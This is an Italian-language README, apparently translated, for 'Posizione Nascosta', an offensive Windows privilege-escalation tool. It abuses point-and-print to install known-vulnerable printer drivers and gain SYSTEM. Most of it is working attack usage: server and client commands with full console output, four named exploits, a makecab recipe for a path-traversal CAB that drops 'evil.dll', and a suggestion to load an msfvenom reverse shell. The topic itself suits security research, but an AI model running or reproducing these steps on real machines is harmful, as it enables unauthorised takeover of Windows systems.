
Strumento di escalation dei privilegi con driver di stampa personalizzato
Posizione Nascosta è un attacco di escalation dei privilegi locale contro Windows che utilizza il concetto di "Bring Your Own Vulnerability". Nello specifico, Posizione Nascosta (CP) sfrutta la logica as designed di pacchetto e stampa punto a punto in Windows che consente a un utente con bassi privilegi di organizzare e installare driver di stampa. CP installa in particolare driver con vulnerabilità note che vengono poi sfruttate per escalare a SYSTEM. Posizione Nascosta è stato presentato per la prima volta al DEF CON 29.
Posizione Nascosta offre quattro exploit - tutti con nomi altrettanto stupidi:
Gli exploit sono carini perché, oltre a SLASHINGDAMAGE, continueranno a funzionare anche dopo che i problemi sono stati patchati. L'unico meccanismo che Windows ha per impedire agli utenti di utilizzare driver vecchi è revocare il certificato del driver - cosa che storicamente non viene fatta(?).
Probabilmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE sono race condition (per sovrascrivere una DLL) e SLASHINGDAMAGE, si spera, sia patchato quasi ovunque.
Posizione Nascosta ha due parti. Una stampante malvagia e un client. Il client contatta il server, prende un driver, lo fa memorizzare nel driver store, installa la stampante e sfrutta il processo di installazione. Facile! Nel linguaggio MSAPI, l'attacco funziona più o meno così:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
È importante notare che SLASHINGDAMAGE in realtà non funziona così. SLASHINGDAMAGE è un'implementazione dell'attacco della stampante malvagia descritto al DEFCON 28 (2020) ed è stato patchato da tempo. Mi capita solo di apprezzare l'attacco (ha scatenato il resto di questo sviluppo) e ho pensato di lasciare l'exploit nel mio server malvagio... per quanto possa essere confusionario.
Discutibilmente, sì. Il driver store è una "collezione attendibile di ... pacchetti di driver di terze parti" che richiede accesso amministratore per essere modificata. Usando GetPrinterDriver un utente con bassi privilegi può organizzare driver arbitrari nello store. Questo, secondo me, supera un chiaro confine di sicurezza.
Microsoft sembrava d'accordo quando ha emesso CVE-2021-34481.
Anche se... è discutibile che questa sia semplicemente una funzionalità del sistema e non una vulnerabilità. In realtà non importa molto. Un attaccante può escalare a SYSTEM su installazioni Windows standard.
Almeno Windows 8.1 e successive.
Semplice! Così semplice che ci saranno molti paragrafi per descriverlo!
Prima, diamo un'occhiata alle opzioni della riga di comando di cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
Opzioni CLI:
-h, --help Mostra il messaggio di aiuto
-e, --exploit arg L'exploit da utilizzare
-c, --cabs arg (=.\cab_files) La posizione dei file cabinet
Exploit disponibili:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Sopra puoi vedere che il server richiede due opzioni:
Ad esempio, supponiamo di voler configurare una stampante malvagia che serva il driver ACIDDAMAGE. Basta fare così:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creazione spazio temporaneo...
[+] Estrazione .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Inserimento nel driver store
[+] Pulizia spazio tmp
[+] Installazione driver di stampa
[+] Driver installato!
[+] Installazione stampante condivisa
[+] Stampante condivisa installata!
[+] Automazione completata.
[!] PASSAGGI MANUALI IMPORTANTI!
[0] In Impostazioni di condivisione avanzate, disattiva Condivisione protetta da password.
[1] Pronto per partire!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Ecco fatto, vedrai una nuova stampante nel tuo sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Nota che c'è un passaggio manuale che cp_server ti chiede di fare. Poiché sono un hacker scarso, non sono riuscito a capire come impostare programmaticamente "Impostazioni di condivisione avanzate" -> "Disattiva condivisione protetta da password". Dovrai farlo tu!
Il processo per usare SLASHINGDAMAGE è leggermente diverso. Dovrai prima installare CutePDF Writer (trova gli installer nella directory di terze parti). Poi esegui cp_server e poi dovrai comunque seguire un paio di passaggi manuali e riavviare.
Il client è altrettanto facile da usare. Diamo un'occhiata alle sue opzioni della riga di comando:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
Opzioni CLI:
-h, --help Mostra il messaggio di aiuto
-r, --rhost arg L'indirizzo remoto della stampante malvagia
-n, --name arg Il nome remoto della stampante malvagia
-e, --exploit arg L'exploit da utilizzare
-l, --local Nessuna stampante remota. Solo attacco locale.
-d, --dll arg Percorso alla DLL fornita dall'utente da eseguire.
Exploit disponibili:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Prima, vorrei parlare dell'opzione --dll. Il client ha un payload incorporato che scrive semplicemente il file C:\result.txt. Tuttavia, gli utenti possono fornire la propria DLL tramite questa opzione. Un buon esempio di qualcosa che potresti voler usare è una reverse shell x64 prodotta da msfvenom. Ma per il resto assumeremo il payload incorporato.
cp_client ha due modalità: remota e locale. L'opzione remota è la più interessante perché aggiunge il driver vulnerabile al driver store (eseguendo così la vulnerabilità bring your own print driver), quindi andremo prima con quella. Diciamo che voglio riconnettermi alla stampante malvagia ACIDDAMAGE che abbiamo configurato in precedenza. Devo solo fornire:
Così!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Controllo se il driver è già installato
[-] Driver non disponibile.
[+] Richiamata stampante malvagia @ \\10.0.0.9\ACIDDAMAGE
[+] Inserimento driver nel driver store
[+] Installazione del driver inserito
[+] Driver installato!
[+] Avvio AcidDamage
[+] Controllo se C:\ProgramData\Lexmark Universal v2\ esiste
[-] Directory target non esiste. Attiva installazione.
[+] Installazione stampante
[+] Lettura di C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Ricerca contenuto file
[+] Aggiornamento contenuto file
[+] Rilascia gpl aggiornato
[+] Rilascia Dll.dll su disco
[+] Inserimento dll in c:\tmp
[+] Installazione stampante
[!] Mucho success!
Ecco fatto! Per eseguire un attacco solo locale, devi solo fornire l'exploit:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Controllo se il driver è già installato
[+] Driver installato!
[+] Avvio AcidDamage
[+] Controllo se C:\ProgramData\Lexmark Universal v2\ esiste
[-] Directory target non esiste. Attiva installazione.
[+] Installazione stampante
[+] Lettura di C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Ricerca contenuto file
[+] Aggiornamento contenuto file
[+] Rilascia gpl aggiornato
[+] Rilascia Dll.dll su disco
[+] Inserimento dll in c:\tmp
[+] Installazione stampante
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE non ha bisogno di un client speciale per lo sfruttamento. Puoi semplicemente usare l'interfaccia utente o la riga di comando per connetterti alla stampante remota e basta! Sfortunatamente, se vuoi creare un payload personalizzato dovrai aggiornare il CAB nella directory cab_files. Ma è facile. Qualcosa del genere:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
È probabilmente importante sapere che la versione di SLASHINGDAMAGE nel repository rilascia ualapi.dll in SYSTEM32 e, quando eseguita al riavvio, rilascia il file C:\result.txt.
Vuoi inviare una pull request o segnalare un bug? Ottimo! Lo apprezzo, ma se non fornisci dettagli sufficienti per riprodurre un bug o spiegare perché una pull request dovrebbe essere accettata, allora c'è una probabilità del 100% che chiuderò il tuo issue senza commento. Ti apprezzo, ma sono anche piuttosto impegnato.
Una cosa da notare è che la DLL inject_me è effettivamente incorporata in cp_client come array C. Se aggiorni inject_me, dovrai aggiornare manualmente anche l'array C (basta usare xxd per generare l'array).